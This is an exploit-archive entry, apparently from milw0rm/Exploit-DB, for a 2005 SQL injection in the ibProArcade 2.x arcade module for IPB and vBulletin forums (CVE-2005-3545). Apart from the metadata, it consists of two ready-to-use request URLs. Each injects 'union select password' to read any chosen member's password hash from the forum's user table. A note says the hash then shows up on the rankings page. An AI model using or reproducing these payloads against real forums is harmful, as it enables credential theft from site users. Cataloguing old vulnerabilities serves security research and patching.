ibProArcade 2.x - module 'vBulletin/IPB' SQL Injection

Author: B~HFH
type: webapps
platform: php
port: 
date_added: 2005-11-05 
date_updated:  
verified: 1 
codes: OSVDB-20514;CVE-2005-3545;OSVDB-12091 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Rankings for (name) will state the md5 hash for the user /str0ke
# ibProArcade 2.x

IPB:
index.php?act=Arcade&module=report&user=-1 union select password from ibf_members where id=[any_user]

vBulettin forums:
index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]

Author: B~HFH
Email:  bhfh01@gmail.com

# milw0rm.com [2005-11-06]